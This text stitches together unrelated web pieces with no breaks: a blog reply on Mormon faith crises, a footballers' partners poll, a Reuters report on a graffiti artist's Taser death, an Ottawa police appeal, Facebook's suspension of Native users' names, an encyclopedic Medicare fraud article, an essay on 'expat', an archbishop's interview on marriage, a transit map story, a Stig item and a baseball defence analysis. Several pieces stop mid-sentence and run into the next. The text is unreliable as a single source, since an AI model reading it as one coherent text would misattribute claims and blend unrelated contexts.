Carl’s blog post is sustainable for everyone. I don’t think it is universalizable. The success of Carl’s path depends on the environment that the disaffecting Mormon lives in. Carl writes: The church is noticing that many people are leaving over these issues. The topics these new statements are addressing can’t possibly be coincidentally the same ones that typically drive people out of the church. This is refreshing for me, because I’ve been in the trenches in this fight since I started my MA at Yale. I’ve watched more friends than I care to count leave over a superficial reading of the data, so I’ve tried my darndest to make sure that superficial readings aren’t given when I’m teaching. I get a lot of push back on this in the church, which is also frustrating because if not me in my congregations, who? If not in Sunday School or Seminary/Institute, when? It seemed for years the only person actually addressing these issues to help people in their faith crises was John Dehlin, and having him on my side is a pyrrhic victory at best, because he does way more damage than good, even if his heart is in the right place. FAIR has more recently been coming around to this idea of helping people through their faith crises. Also, recently Terryl and Fiona Givens, along with Richard Bushman, have begun to give firesides to help address these issues. But I still felt like a lone voice in the wilderness for much of the past 9 or so years, because none of these resources were official, or from the church. But now the church has our back, officially, in trying to present the more complicated, meaty, and non-watered-down version of church history. If we can present the more complicated, meaty, and non-watered-down version of church history, people are less likely to leave. Inoculation works. It’s much easier to get to people before, or at least at the beginnings of their faith crisis. Once they’ve left, it’s much more difficult to get them to come back. But, as Don’s story indicates, it’s still very possible. Never give up hope on anybody. But even here, there are cracks. Carl has tried his darndest to make sure that superficial readings aren’t given when he’s teaching…but even he admits that he gets push back on this in the church. But what if instead of pushback, his temple recommend were taken away? What if he were dismissed from a calling? These are things that he cannot defend against — it’s just a matter of who the priesthood leads are in his path. Carl can’t say these things would never happen — because depending on the ward or stake, they do happen. When Carl says “it seemed for years the only person actually addressing these issues…was John Dehlin” (and he notes that was a pyrrhic victory at best), here’s a problem. You can have all the books and resources available — but how visible are they? Carl is speaking from a position of someone who apparently had access to church-supportive resources as early as his mission, and yet even he points out that it seemed for years that on John Dehlin was addressing the issues. The basic issue is even if people are trying to help, it’s not universal. It’s local. It’s regional. Even for the church (which he seems to believe “has [his] back, officially”), it’s not clear statements over the pulpit. It’s random statements that go up without fanfare on LDS.org that then get shredded to pieces from a million different angles. Even if I concede that it’s better to get people before, or at least at the beginnings of their faith crisis, the basic issue is that you can’t “get them” if every Sunday, the local ward will be dragging them back down. AdvertisementsThe web might be full of nothing but speculation regarding the England World Cup squad at the moment, but we know that you’re only interested in the real issues of the day. As such, you’ll be pleased to find out that the results are in from Group B of the WAG World Cup and voting in Group C is now open. Here’s how Group B finished: 1. Greece – 46% 2. Argentina – 24% 3. South Korea – 19% 4. Nigeria – 11% So it’s Uruguay v Argentina and France v Greece in the last 16. Here’s the runners and riders in Group C: 1. England – Abbey Clancy Our very own Peter Crouch provides England’s representative Abbey Clancy. 2. USA – Bethany Dempsey Bethany Dempsey is married to Fulham’s midfielder Clint. 3. Algeria – Karima Ziani Talk about keeping it in the family. Karima is the twin sister of Algeria’s Karim Ziani and is married to the Algerian defender Antar Yahia. 4. Slovenia – Tamara Our team of crack researchers couldn’t track down the surname of the mysterious Tamara, who is the girlfriend of the Slovenia defender Miso Breko.MIAMI BEACH, Florida (Reuters) - Hundreds of friends and supporters of an 18-year-old graffiti artist who died after being shocked by a stun gun during a police chase in Miami Beach gathered on Saturday in a tearful rally at the site where he had been spray-painting. A man holds a poster during a vigil for graffiti artist Israel Hernandez-Llach, who died after being shocked by a police officer's Taser, in Miami Beach, Florida August 10, 2013. REUTERS/Gaston De Cardenas Colombian-born Israel Hernandez-Llach died on Tuesday after police shocked him with a Taser as he ran away from officers who caught him spray-painting the wall of a shuttered McDonald’s. “He was a genius,” said Lucy Rynka, 18, who graduated from Miami Beach Senior High School with Hernandez-Llach last spring. “He showed me how powerful art can be, how you can use color and design to relay a powerful message.” Miami Beach Police Chief Raymond Martinez has said that Hernandez-Llach was confronted by officers after vandalizing private property and ignored their commands to stop running. Once in custody, Hernandez showed signs of medical distress and was pronounced dead soon after, Martinez said. A formal cause of death has not been established in the case pending toxicology results. The Florida Department of Law Enforcement said on Friday it would conduct an independent review of the Miami Beach Police Department’s investigation into the death of Hernandez-Llach, who was known as “Reefa” and whose work had appeared in some Miami art galleries. Florida’s state attorney and the medical examiner for Miami-Dade County are also reviewing the case, officials said. Miami Beach police has come under scrutiny in recent years for a series of shootings and improper conduct, including the death of a 22-year-old man who was shot 16 times by police two years ago during a Memorial Day weekend hip-hop festival. During the peaceful rally attended by around 400 people, some in the crowd booed and whistled at police officers standing nearby and shouted, “Whose streets? Our streets!” The teen’s father, Israel Hernandez-Bandera has called his son’s death “an act of barbarism” and an “assassination of a young artist and photographer.” Jason W. Kreiss, an attorney representing the family, said Hernandez-Llach would likely not have been prosecuted over the spray-painting and would have probably faced a punishment of community service. At the Saturday rally, the wall where Hernandez-Llach spray-painted was covered with his nickname and messages. “The only thing I want everyone to remember is his goal was to have his art around the world,” said Vivian Azalia, 18, told the crowd while fighting back tears. “I know he’d be happy with the support that’s come from around the world and from the graffiti community.”Ottawa police are asking for the public's help to identify a motorcyclist "who drives erratically in traffic" and has reportedly flashed a handgun at several motorists who didn't give enough passing room. OPP and Ottawa police have investigated numerous complaints about a motorcyclist driving erratically in traffic, mainly in Ottawa's west end. "The driver also brandished a handgun to other vehicles that did not give enough room for passing," Ottawa police said in a media release issued Thursday. The most recent sighting was in the Dwyer Hill Road and Highway 7 area at about 9:40 a.m. Thursday. The motorcycle is described as a red Honda CBR sport bike. The licence plate is sometimes missing, and at other times has been determined to be fake, police said. No suspect description is available, except that the person wears a black helmet. Police urge the public not to confront the motorcyclist, and to immediately call 911. Anyone with information is asked to call the Ottawa police call centre at 613-236-1222, ext. 7300. Anonymous tips can be submitted by calling Crime Stoppers toll free at 1-800-222-8477 (TIPS).Dana Lone Hill tried logging on to Facebook last Monday only to be locked out because the social media giant believed that she was using a fake name. In an essay over at Last Real Indians, Dana, who’s Lakota and has been using Facebook since 2007, explains that she’s presented a photo ID, library card and one piece of mail to the company in an attempt to restore her account. The day after Lone Hill’s account was suspended she was able to access it briefly but she was then booted a second time. In her essay Lone Hill says that this has happened to other Native users she knows: I had a little bit of paranoia at first regarding issues I had been posting about until I realized I wasn’t the only Native American this happened to. One friend was forced to change his name from his Cherokee alphabet to English. Another was forced to include her full name, and a few were forced to either smash the two word last names together or omit one of the two words in the last name. Oglala Lakota Lance Brown Eyes was bootd from facebook and when he turned in his proof of identification they changed his name to Lance Brown. After contacting the Better Business Bureau and threatening Facebook with a class action lawsuit, they sent him an apology and let him use his given name again. To reestablish a Facebook account after being accused of using a fake name, users must submit one government-issued ID such as a birth certificate, passport or voter identification card or two other forms of identification such as library card and a yearbook photo. The company appears to have been questioning certain Native users since at least 2009, when it deactivated Parmelee Kills The Enemy’s account. More recently, on Indigenous Peoples’ Day, Facebook deleted a number of Native accounts. In one case, the company asked users Shane and Jacqui Creepingbear for identification to prove that they weren’t using fake names. Shane took to Twitter to express his disappointment: Hey yall today I was kicked off of Facebook for having a fake name. Happy Columbus Day great job #facebook #goodtiming #racist #ColumbusDay – Shane Creepingbear (@Creepingbear) October 14, 2014 Via Facebook messenger, Shane says that the couple’s ordeal came to a swift end when he had some friends who work in the tech industry contact Facebook directly. Shane, who’s part of the Kiowa Tribe of Oklahoma, says that he and Jacqui have “administrative shields” on their Facebook accounts and that their names will no longer be questioned. “It’s a problem when someone decides they are the arbiter of names,” says Shane. “It can come off a tad racist.” Facebook’s 10-year-old real-name policy stipulates that users “provide the name they use in real life.” However, the social network doesn’t require people to use their legal names, according to an open letter the company’s chief product officer, Chris Cox, posted last October. In the letter Cox apologizes to ”drag queens, drag kings, transgender [people], and [to the] extensive community of our friends, neighbors and members of the LGBT community” whose accounts had been shut down after a user reported hundreds of them as fake. At press time no such apology has been issued to Natives. In a statement to Colorlines, a Facebook spokesperson wrote: “Over the last several months, we’ve made some significant improvements in the implementation of this standard, including enhancing the overall experience and expanding the options available for verifying an authentic name. We have more work to do, and our teams will continue to prioritize these improvements so everyone can be their authentic self on Facebook.” The spokesperson also told Colorlines that any idenitification provided by users is reviewed and verified by a single Facebook employee and then immediately destroyed–which may calm some privacy concerns. Lone Hill, who went by Lone Elk until she found her birth certificate last summer, tells Colorlines that she submitted her documents to the company last Tuesday only to receive an automated e-mail asking for even more documents–“credit cards, Social Security numbers, stuff I’m not comfortable sending.” Lone Hill says she misses having access to her nearly 2,000 Facebook friends and doesn’t know if she’ll ever be able to recover photos of her four children that she stored in her account. A petition demanding Facebook change its policy toward Native names, started about four months ago, has garnered more than 9,000 signatures. Update, 4:14p ET Dane Lone Hill’s account was restored by Facebook today after being suspended for the better part of a week. Lone Hill had posted about her ordeal on Last Real Indians on Friday, which Colorlines picked up and published a post about Monday. In an email addressed to Lone Hill at 2:58p ET and forwarded to Colorlines, Facebook explained:In the United States, Medicare fraud is the claiming of Medicare health care reimbursement to which the claimant is not entitled. There are many different types of Medicare fraud, all of which have the same goal: to collect money from the Medicare program illegitimately.[1] The total amount of Medicare fraud is difficult to track, because not all fraud is detected and not all suspicious claims turn out to be fraudulent. According to the Office of Management and Budget, Medicare "improper payments" were $47.9 billion in 2010, but some of these payments later turned out to be valid.[2] The Congressional Budget Office estimates that total Medicare spending was $528 billion in 2010.[3] Types of Medicare fraud [ edit ] Medicare fraud is typically seen in the following ways:[citation needed] Phantom billing: The medical provider bills Medicare for unnecessary procedures, or procedures that are never performed; for unnecessary medical tests or tests never performed; for unnecessary equipment; or equipment that is billed as new but is, in fact, used. Patient billing: A patient who is in on the scam provides his or her Medicare number in exchange for kickbacks. The provider bills Medicare for any reason and the patient is told to admit that he or she indeed received the medical treatment. Upcoding scheme and unbundling: Inflating bills by using a billing code that indicates the patient needs expensive procedures.[4][5] A 2011 crackdown on fraud charged "111 defendants in nine cities, including doctors, nurses, health care company owners and executives" of fraud schemes involving "various medical treatments and services such as home health care, physical and occupational therapy, nerve conduction tests and durable medical equipment."[6] The Affordable Care Act of 2009 provides an additional $350 million to pursue physicians who are involved in both intentional/unintentional Medicare fraud through inappropriate billing. Strategies for prevention and apprehension include increased scrutiny of billing patterns, and the use of data analytics. The healthcare reform law also provides for stricter penalties; for instance, requiring physicians to return any overpayments to CMS within 60 days time.[7] In recent years regulatory requirements tightened[8] and law enforcement has stepped up.[9][10][11] Law enforcement and prosecution [ edit ] The Office of Inspector General for the U.S. Department of Health and Human Services, as mandated by Public Law 95-452 (as amended), is to protect the integrity of Department of Health and Human Services (HHS) programs, to include Medicare and Medicaid programs, as well as the health and welfare of the beneficiaries of those programs. The Office of Investigations for the HHS, OIG collaboratively works with the Federal Bureau of Investigation in order to combat Medicare Fraud. Defendants convicted of Medicare fraud face stiff penalties according to the Federal Sentencing Guidelines and disbarment from HHS programs. The sentence depends on the amount of the fraud. Defendants can expect to face substantial prison time, deportation (if not a US citizen), fines, and restitution. In 1997, the federal government dedicated $100 million to federal law enforcement to combat Medicare fraud. That money pays over 400 FBI agents who investigate Medicare fraud claims. In 2007, the U.S. Department of Health and Human Services, Office of Inspector General, U.S. Attorney's Office, and the U.S. Department of Justice created the Medicare Fraud Strike Force in Miami, Florida.[12] This group of anti-fraud agents has been duplicated in other cities where Medicare fraud is widespread. In Miami alone, over two dozen agents from various federal agencies investigate solely Medicare fraud. In May 2009, Attorney General Holder and HHS Secretary Sebelius Announce New Interagency Health Care Fraud Prevention and Enforcement Action Team (HEAT) to combat Medicare fraud.[13] FBI Director Robert Mueller stated that the FBI and HHS OIG has over 2,400 open health care fraud investigations.[14] The first "National Summit on Health Care Fraud" was held on January 28, 2010 to bring together leaders from the public and private sectors to identify and discuss innovative ways to eliminate fraud, waste and abuse in the U.S. health care system.[15] The summit is the first national gathering on health care fraud between law enforcement and the private and public sectors and is part of the Obama Administration's coordinated effort to fight health care fraud. The Justice Department has used the False Claims Act to recover more than $7.7 billion from January 2009 to June 2012 in cases involving fraud against federal health care programs.[16] Columbia/HCA fraud case [ edit ] The Columbia/HCA fraud case is one of the largest examples of Medicare fraud in U.S. history. Numerous New York Times stories, beginning in 1996, began scrutinizing Columbia/HCA's business and Medicare billing practices. These culminated in the company being raided by Federal agents searching for documents and eventually the ousting of the corporation's CEO, Rick Scott, by the board of directors.[17] Among the crimes uncovered were doctors being offered financial incentives to bring in patients, falsifying diagnostic codes to increase reimbursements from Medicare and other government programs, and billing the government for unnecessary lab tests,[18] though Scott personally was never charged with any wrongdoing. HCA wound up pleading guilty to more than a dozen criminal and civil charges and paying fines totaling $1.7 billion. In 1999, Columbia/HCA changed its name back to HCA, Inc. In 2001, HCA reached a plea agreement with the U.S. government that avoided criminal charges against the company and included $95 million in fines.[19] In late 2002, HCA agreed to pay the U.S. government $631 million, plus interest, and pay $17.5 million to state Medicaid agencies, in addition to $250 million paid up to that point to resolve outstanding Medicare expense claims.[20] In all, civil lawsuits cost HCA more than $1.7 billion to settle, including more than $500 million paid in 2003 to two whistleblowers.[19] Medicare fraud reporting by whistleblowers [ edit ] The DOJ Medicare fraud enforcement efforts rely heavily on healthcare professionals coming forward with information about Medicare fraud. Federal law allows individuals reporting Medicare fraud to receive full protection from retaliation from their employer and collect up to 30% of the fines that the government collects as a result of the whistleblower's information.[21] According to US Department of Justice figures, whistleblower activities contributed to over $13 billion in total civil settlements in over 3,660 cases stemming from Medicare fraud in the 20-year period from 1987 to 2007.[22] Omnicare fraud [ edit ] In November 2009, Omnicare paid $98 million to the federal government to settle five qui tam lawsuits brought under the False Claims Act and government charges that the company had paid or solicited a variety of kickbacks.[23] The company admitted no wrongdoing.[24] The charges included allegations that Omnicare solicited and received kickbacks from a pharmaceutical manufacturer Johnson & Johnson, in exchange for agreeing to recommend that physicians prescribe Risperdal, a Johnson & Johnson antipsychotic drug, to nursing home patients. Starting in 2006, healthcare entrepreneur Adam B. Resnick sued Omnicare, a major supplier of drugs to nursing homes, under the False Claims Act, as well as the parties to the company's illegal kickback schemes. Omnicare allegedly paid kickbacks to nursing home operators in order to secure business, which constitutes Medicare fraud and Medicaid fraud. Omnicare allegedly had paid $50 million to the owners of the Mariner Health Care Inc. and SavaSeniorCare Administrative Services LLC nursing home chains in exchange for the right to continue providing pharmacy services to the nursing homes.[25] In 2010, Omnicare settled Resnick's False Claims Act suit that had been taken up by the U.S. Department of Justice by paying $19.8 million to the federal government, while Mariner and SavaSeniorCare settled for $14 million.[26][27] 2010 Medicare Fraud Strike Task Force Charges [ edit ] In July 2010, the Medicare Fraud Strike Task Force announced its largest fraud discovery ever when charging 94 people nationwide for allegedly submitting a total of $251 million in fraudulent Medicare claims. The 94 people charged included doctors, medical assistants, and health care firm owners, and 36 of them have been found and arrested. [28] [29] Charges were filed in Baton Rouge (31 defendants charged), Miami (24 charged) Brooklyn, (21 charged), Detroit (11 charged) and Houston (four charged). [28] By value, nearly half of the false claims were made in Miami-Dade County, Florida. [29] The Medicare claims covered HIV treatment, medical equipment, physical therapy and other unnecessary services or items, or those not provided. [30] Charges were filed in Baton Rouge (31 defendants charged), Miami (24 charged) Brooklyn, (21 charged), Detroit (11 charged) and Houston (four charged). By value, nearly half of the false claims were made in Miami-Dade County, Florida. The Medicare claims covered HIV treatment, medical equipment, physical therapy and other unnecessary services or items, or those not provided. In October 2010, network of Armenian gangsters and their associates used phantom healthcare clinics and other means to try to cheat Medicare out of $163 million, the largest fraud by one criminal enterprise in the program's history according to U.S. authorities[31] The operation was under the protection of an Armenian crime boss, known in the former Soviet Union as a "vor," Armen Kazarian.[32] Of the 73 individuals indicted for this scheme, more than 50 people were arrested on October 13, 2010 in New York, California, New Mexico, Ohio and Georgia.[33][34] 2011 Medicare Fraud Strike Task Force Charges [ edit ] In September 2011, a nationwide takedown by Medicare Fraud Strike Force operations in eight cities resulted in charges against 91 defendants for their alleged participation in Medicare fraud schemes involving approximately $295 million in false billing.[35] 2012 Medicare Fraud Strike Task Force Charges [ edit ] In 2012, Medicare Fraud Strike Force operations in Detroit resulted in convictions[36] against 2 defendants for their participation in Medicare fraud schemes involving approximately $1.9 million in false billing. Victor Jayasundera, a physical therapist, pleaded guilty on January 18, 2012 and was sentenced in the Eastern District of Michigan. In addition to his 30-month prison term, he was sentenced to three years of supervised release and was ordered to pay $855,484 in restitution, joint and several with his co-defendants. Fatima Hassan, co-owned a company known as Jos Campau Physical Therapy with Javasundera, pleaded guilty on August 25, 2011, for her role in the Medicare fraud schemes and on May 17, 2012, was sentenced to 48 months in prison. 2013 Medicare Fraud Strike Task Force Charges [ edit ] In May 2013, Federal officials charged 89 people including doctors, nurses, and other medical professionals in eight U.S. cities on Tuesday with Medicare fraud schemes that the government said totaled over $223 million in false billings.[37] The bust took more than 400 law enforcement officers including FBI agents in Miami, Detroit, Los Angeles, New York and other cities to make the arrests.[38] 2015 Medicare Fraud Strike Task Force Charges [ edit ] In June 2015, Federal officials charged 243 people including 46 doctors, nurses, and other medical professionals with Medicare fraud schemes. The government said the fraudulent schemes netted approximately $712 million in false billings in what is the largest crackdown undertaken by the Medicare Fraud Strike Force. The defendants were charged in the Southern District of Florida, Eastern District of Michigan, Eastern District of New York, Southern District of Texas, Central District of California, Eastern District of Louisiana, Northern District of Texas, Northern District of Illinois and the Middle District of Florida.[39] See also [ edit ]Having lived for about half of my 46 years abroad, in Africa, Spain and Japan, I am used to seeing myself as others do: a foreigner. Indeed, I am in Japan now on a year's posting by my university – but that's another story, given recent events. Japanese often refer to foreigners by using the slightly disparaging term gaijin, meaning literally "outside person", and the word flyjin has also recently entered the Japanese-English lexicon to describe foreign residents who hastily retreated to their home countries when the triple disaster struck on 11 March. But I am getting beyond myself. Increasingly I have felt uncomfortable when British people overseas, or press organisations such as the Guardian, use the term "expat" with reference to Britons abroad, then use words such as "immigrant" when describing people from other countries who are in the UK. Strangely, this sometimes extends to other non-British foreigners overseas. So, a Briton resident in France might refer to himself as an expat, but call a Polish resident of France an immigrant, as if somehow there is a distinction to be made; although he may later refer to someone from the USA as an "American expat", implying that there is a sort of hierarchy of foreignness. Speaking only from personal experience, there seem to be communities of Britons overseas that somehow isolate themselves from their adoptive societies and associate mostly with other Britons, referring to each other routinely as expats. They may rarely learn the local language beyond basic survival phrases, and rarely interact with people from their host culture except when ordering in restaurants, requiring assistance, being stopped, or going shopping. In some areas, such as rural France or Italy, where there is a critical mass of British "expats" in the locale, enterprising individuals even set up businesses to cater to British residents – selling such things as Marmite and Jaffa cakes, giving advice and assistance with bureaucracy, providing home-visit English language hairdressing, or help with setting up satellite TV, personal computers with Skype, and so on. There is nothing wrong with providing these services. But I wonder why some British overseas residents appear not to try very hard to interact meaningfully with the local populations in their adoptive countries, do not really get to know the culture and society, can't or won't learn the local language beyond a very basic level, and insist on living so much of a British lifestyle overseas. It gets more difficult on those occasions when British "expats" get together in groups, for example at long weekend lunches where alcohol is involved, and start on what I call a "bash the locals" conversation, complaining about all manner of often very trivial issues as if the local people are especially incompetent or irrational. I am not averse to the odd glass, but I wonder why some in these groups express so much frustration with their "expat" lives. I am not suggesting that they simply like it, lump it, or go home, since local people also experience frustrations with their own societies. Sometimes, however, these conversations take on a tone where the British assume a superior attitude and more knowing posture than the mainstream of life in their adoptive culture. The word "expat" and its widely accepted currency in British English goes a long way towards providing ballast
. But notice, when a man and woman cannot have children together, that's an accident of circumstances, the exception to the rule. When a husband and wife adopt, they are mirroring the pattern set in nature itself.... Treating same-sex relationships as marriage is the final severing by government of the natural link between marriage and the great task of bringing together male and female to make and raise the next generation together in love. Q: Is it particularly difficult for you to play a leading role against gay marriage in a place like San Francisco? Does it change your relationship with gay congregants? A: Truthfully, I am really excited to be in San Francisco. I remember the first time I saw the city as a boy when our family drove up from San Diego to meet my father who was unloading his tuna boat here.... To me San Francisco was and is The City! It represents vibrant, pulsating, creative, cosmopolitan life and I love it. Of course I realize many people in San Francisco disagree with the church's teachings on marriage and sex, but there is also a very deeply embedded Catholic culture here with many people who understand and cherish the church's teachings. My job as an archbishop is to teach the truths of our faith and the truths of the natural moral law, and whatever challenges that entails I embrace with enthusiasm. We can learn to respect each other across differences and even to love one another. That's my hope anyway. And my job description. Q: Has it become more difficult to oppose gay marriage over the years? Does it seem the tide is turning against you? A:There is a problem here – an injustice, really – in the way that some people are so often identified by what they are against. Opposition to same-sex marriage is a natural consequence of what we are for, i.e., preserving the traditional, natural understanding of marriage in the culture and in the law. But of course people who are for the redefinition of marriage to include two men or two women are also against something: They are against protecting the social and legal understanding that marriage is the union of a husband and wife who can give children a mother and father. So there are really two different ideas of marriage being debated in our society right now, and they cannot coexist: Marriage is either a conjugal union of a man and a woman designed to unite husband and wife to each other and to any children who may come from their union, or it is a relationship for the mutual benefit of adults which the state recognizes and to which it grants certain benefits. Whoever is for one, is opposed to the other.... Those of us who favor preserving the traditional understanding of marriage do not do so because we want people who experience attraction to their same sex to suffer. We recognize and respect the equal human dignity of everyone. Everyone should be treated equally, but it is not discrimination to treat differently things that are different. Marriage really is unique for a reason. Q: Do you have friends or family members who are gay? How do you balance your public policy positions with those relationships? A: Of course! I am a Baby Boomer, and I grew up in Southern California. The larger question you raise about my relationships with people I care about is: How can we love each other across deep differences in moral views? The answer I have found is that when we want to stay in relationship, we can and do. Love finds a way. When we want to exclude or hate, we find each other's views literally intolerable. Of course, it helps that my friends know me, directly and unfiltered through any other source. When you know someone personally, it's much harder to rely on stereotyped or media-created images. It's a lot harder to be hateful or prejudiced against a person, or group of people, that one knows personally. When there is personal knowledge and human interaction, the barriers of prejudice and pre-conceived ideas come down. Q: What are your main goals: Supreme Court, lower courts, state legislatures, public opinion, religious liberty? A: My main goal is none of these. I'm a faith leader, and my main goal is to seek to create a Catholic community in San Francisco where people know what the church teaches and uses this knowledge to guide their own lives and get to heaven. I want to help people understand the truth of natural marriage and, for people of my own faith, the deeper, theological, even mystical meaning of marriage as designed by God. Using words, though, is only one way of teaching. Usually one's actions speak louder than words. So there is a place for public manifestations of principle. The civil rights marches of the '60s are a good example of that. Yes, they were a way to agitate for long overdue political change, but they also had a teaching effect in that they got people to think about the injustices of racism. Engaging with the broader culture is also part of my teaching role as an archbishop, and of course my right as U.S. citizen. Q: Are you worried about the recent trend in courts and states going against you? How best to stop that trend? A: The natural law has a power written on the human heart that doesn't go away. Notice how there is no controversy in this country now over the evil of Jim Crow laws. Shortly after the Civil Rights Act the cultural change was complete. This is because it was the right thing to do. The truth cannot be suppressed indefinitely. Draw a contrast here with the pro-life movement: After the Roe decision, it was commonly thought that our society would soon easily accept the legitimacy of abortion. But what has happened? The pro-life movement is stronger now, 40 years later, than it ever has been. This is because of the truth: Abortion is the killing of an innocent human life. That is not a matter of opinion or religious belief; it is a simple fact that cannot be denied. The same principle applies with marriage: It is simply a natural fact that you need a man and a woman to make a marriage and that a child's heart longs for the love of both his or her mother and father. Even if the Supreme Court rules against this truth, the controversy will not die out, as it hasn't on the abortion issue. The problem is, the longer a society operates in denial of the truth, the greater is the harm that will be done. The examples of the racist policies and practices of the past in our own country make this clear, as does all the harm that abortion has done to women and all those in her network of relationships. With marriage, we have to consider the harm that will be caused by enshrining in the law the principle that children do not need a mother and a father. The circumstances of our struggles change but the truth does not. Read or Share this story: http://usat.ly/Y1vy92In bringing together the first ever map illustrating the nation’s transit system, the U.S. Department of Transportation isn’t just making data more accessible — it’s also aiming to modernize data collection and dissemination for many of the country’s transit agencies. With more than 10,000 routes and 98,000 stops represented, the National Transit Map is already enormous. But Dan Morgan, chief data officer of the department, says it’s not enough. When measuring vehicles operated in maximum service — a metric illustrating peak service at a transit agency — the National Transit Map captures only about half of all transit in the U.S. “Not all of these transit agencies have this data available," Morgan said, "so this is an ongoing project to really close the transit data gap." Which is why, in the process of building out the map, the DOT is working with transit agencies to make their data available. On the whole, transit data is easier to collect and process than a lot of transportation data because many agencies have adopted a standard called General Transit Feed Specification (GTFS) that applies to schedule-related data. That’s what made the National Transit Map an easy candidate for completion, Morgan said. But as popular as GTFS has become, many agencies — especially smaller ones — haven’t been able to use it. The tools to convert to GTFS come with a learning curve. “It’s really a matter of priority and availability of resources,” he said. Bringing those agencies into the mainstream is important to achieving the goals of the map. In the map, Morgan said he sees an opportunity to achieve a new level of clarity where it has never existed before. That’s because transit has long suffered from difficulty in seeing its own history. Transit officials can describe their systems as they exist, but looking at how they got there is trickier. “There’s no archive," Morgan said, "there’s no picture of how transit changes over time." And that’s a problem for assessing what works and what doesn’t, for understanding why the system operates the way it does and how it responds to changes. It goes further than that. The DOT has made a concerted effort to start thinking about transportation as a means of improving people’s lives versus simply as the means of getting from point A to point B. And U.S. Transportation Secretary Anthony Foxx has repeatedly called on transportation officials to think of the systems they manage as “ladders of opportunity;” to think about how access to transportation can affect a family’s health and their ability to work. Others have emphasized the importance of transportation in social interactions, entertainment and education — virtually every aspect of American life. Simply put, data is the language government can speak when discussing those things. But, Morgan said, “We’re not able to have a conversation about that without having access to data about where transit service is."The Stig at the 2008 British Grand Prix © Sutton Images Enlarge Related Links News: Identity of White Stig revealed Drivers: Perry McCarthy The Stig, who features in the BBC Top Gear, has angered corporation bosses by revealing he is working on an autobiography. The identity of the Stig is a closely-guarded secret (although it was revealed last year in various newspapers) and the BBC has warned if he reveals who he is he could be in breach of his contract. It is reported that while the show's three presenters - Jeremy Clarkson, Richard Hammond and James May - are highly paid and enjoy a share of spin-off products, the Stig receives a flat fee and does not benefit from merchandising bearing his image. The current Stig is the second. The original - the Black Stig - was killed off in 2003 after former Formula One driver Perry McCarthy revealed his secret in an autobiography Flat Out, Flat Broke. © ESPN Sports Media Ltd.Earlier today, my first post about catch probability was published. In that post, I mostly looked at the two years of information, together. In here, I’d like to keep the two years separate. I mean, this is a whole new data source, with a number of potential applications. Why would I ever write just the one article and stop there? I have a weekly quota to hit, and this is better than whatever else there is to analyze. Catch probability is a new Statcast metric, which you can read about here. As complicated as it might seem, it’s actually quite simple to understand, and it can give us better answers to questions people have been asking for decades. This is where you can find all the data, so you can poke around on your own. This is all brand new, and it’s kind of a first draft. The data will improve as adjustments are made for batted-ball direction and for outfield dimensions. Already, though, we can learn from what’s been provided. Let’s start here by looking at the five distinct buckets for 2015 and 2016. So-called 5 Star plays are the toughest plays to make, while 1 Star plays are borderline routine. I should note that the most routine plays — and there are so, so many of them — appear to be excluded. Looking at the automatic outs doesn’t tell anybody anything. In this table, you can see year-to-year frequencies, and also year-to-year catch rates. Catch Probability Distributions Play Type 2015 Frequency 2016 Frequency 2015 Catch% 2016 Catch% 5 Star 23% 24% 9% 8% 4 Star 14% 13% 43% 40% 3 Star 15% 15% 69% 67% 2 Star 16% 16% 85% 82% 1 Star 32% 32% 93% 93% SOURCE: Baseball Savant Probably nothing in here to dwell on. In the last two years, the plays have been distributed almost exactly the same. The denominator is total plays in the five buckets, not all possible opportunities. So, of the bucketed batted balls, about a third are 1 Star plays, and about a quarter are 5 Star plays. Meanwhile, this last season, the catch rates experienced little dips. I can’t interpret that for you; I don’t know what it means. It’s just something to be aware of. But I doubt that’s what people are interested in. The players themselves are what people are interested in. Moving on to that, using all the bucket averages, I calculated estimated +/- figures for all the outfielders. I then converted those into +/- figures per 150 opportunities. This is expressed as plays, not runs. There are 75 outfielders who had at least 50 opportunities in both 2015 and 2016. Here’s how their rates have been related year-to-year: This is important! And a crucial check, before moving forward. It’s easy to observe a reasonably strong and linear relationship in the data, which is basically what you’d expect if the data were telling you something about player ability. You might hold correlations to higher standards than other people, but here, I think the story checks out. Even given the assumptions being made, even given the adjustments that haven’t been included yet, the data has achieved an R^2 of 0.62. One negative interpretation would be that the data is supplying consistent noise. That it’s somehow biased in consistent ways. A more positive interpretation would be that, even in this simple form, the data does a fair job of informing you about talent. So let’s think about talent! I’ve got those 75 outfielders who’ve played fairly often in each of the last two years. Here are the outfielders who made the biggest improvements in +/- per 150 opportunities: All the data comes with uncertain error bars. I’ve avoided decimal points in the presentation because I don’t want to convey a greater degree of precision than I should. I also don’t know exactly how a defensive player would get better at making catches, given that this measure takes positioning into account. But, way to go, Steven Souza Jr. The more familiar advanced numbers reflect the same general thing: By DRS and UZR, Souza was most recently an above-average defender. There’s the potential for a heck of a player in there if Souza ever becomes better at tapping into his strength. You’ll notice that, within this top 10, there are three Marlins. I’ll add a fourth. Two years ago, Giancarlo Stanton, Marcell Ozuna, Christian Yelich, and Ichiro Suzuki made 241 plays, against 250 expected plays. This past year, the same players made 262 plays, against 250 expected plays. That would be an improvement of 21 plays, worth something in the vicinity of 20 or 25 runs. Now, maybe, this is randomness, or something else. Maybe something changed about how data is recorded in Marlins Park. But the Marlins also just had a new outfield coach, in Lorenzo Bundy. Could have something to do with Lorenzo Bundy. I can’t pretend to know more about this than I do. Every sorted leaderboard has two ends: In the earlier scatterplot, I’m sure you noticed the data point in the lower left-hand corner. It was sort of out there by itself. That’s Mark Trumbo, in scatterplot form. Trumbo, two years ago, looked like a bad outfield defender. Trumbo, last year, looked like a catastrophic outfield defender. I don’t think it’s news to anyone that Mark Trumbo, in the outfield, isn’t very good, but, remember how 1 Star plays are converted 93% of the time on average? This past year, Trumbo had 19 1 Star play opportunities, and he converted 11 of them. I don’t even know how that happens. Looks like a bad job by Mark Trumbo. The Orioles re-signed Pedro Alvarez, to play outfield. Gregor Blanco shows up here with the largest drop, and it might not be coincidental that he was bothered by some knee discomfort. Lower-body injuries might also help explain, say, Lorenzo Cain making an appearance. As far as I can tell, Billy Burns stayed healthy, but DRS and UZR think he was worse in 2016, too. That’s bad for a player whose year-to-year wRC+ dropped from 103 to 52. Offensive performance and defensive performance can move around. For Burns, both moved very far in the wrong direction. There’s still so much to explore. So many new avenues to go down. I want to caution, again, that this is new and therefore unproven. There are adjustments that will be made, and not every player’s opportunities are created the same. But we are most definitely entering a new era of defensive analysis, and we’ve been waiting for this for years. One can’t help but dig into what we have. Among players last year with at least 50 opportunities, Mark Trumbo was the worst defensive outfielder by far. The best, by a small margin, was rather surprisingly Desmond Jennings, followed less surprisingly by Billy Hamilton and Kevin 